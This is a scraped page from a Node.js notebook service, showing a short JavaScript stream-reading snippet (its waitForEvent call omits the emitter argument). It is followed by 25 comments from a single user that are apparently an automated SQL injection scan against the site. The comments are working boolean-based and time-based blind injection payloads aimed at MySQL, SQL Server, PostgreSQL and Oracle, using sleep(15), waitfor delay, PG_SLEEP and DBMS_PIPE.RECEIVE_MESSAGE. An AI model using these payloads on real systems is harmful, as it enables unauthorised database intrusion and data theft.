Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

untitled notebook

node v0.10.48
version: 1.0.0
endpointsharetweet
var Promise = require("bluebird").Promise; var Readable = require('stream').PassThrough; var rs = new Readable; rs.push("beep"); rs.push("boo"); var data = await readAtMost(rs, 10); console.log(data); rs.push("boo"); var data = await readAtMost(rs, 100); console.log(data);
function waitForEvent(anEventEmitter, anEvent) { return new Promise(function(resolve, reject) { anEventEmitter.once(anEvent, function() { resolve(Array.prototype.slice.apply(arguments)); }); }); }
function readAtMost(stream, amount) { return new Promise(async function(resolve, reject) { // Must be less than amount. var data = stream.read(amount) || stream.read(); if (data !== null) return resolve(data); await waitForEvent("readable"); return readAtMost(stream, amount); }); }
Loading…

25 comments

  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    -1 OR 2+756-756-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1 OR 2+504-504-1=0+0+0+1
  • posted 3 days ago by xsjybldb
    -1' OR 2+567-567-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1' OR 2+309-309-1=0+0+0+1 or 'UuwlRPx8'='
  • posted 3 days ago by xsjybldb
    -1" OR 2+827-827-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 3 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 3 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 3 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 3 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    PajPLZ4n'; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -5 OR 504=(SELECT 504 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -5) OR 824=(SELECT 824 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -1)) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    PdY2evDh' OR 505=(SELECT 505 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    LBG53RZF') OR 419=(SELECT 419 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    HUKNRTlj')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 3 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 3 days ago by xsjybldb
    1'"
  • posted 3 days ago by xsjybldb
    @@iIKT7

sign in to comment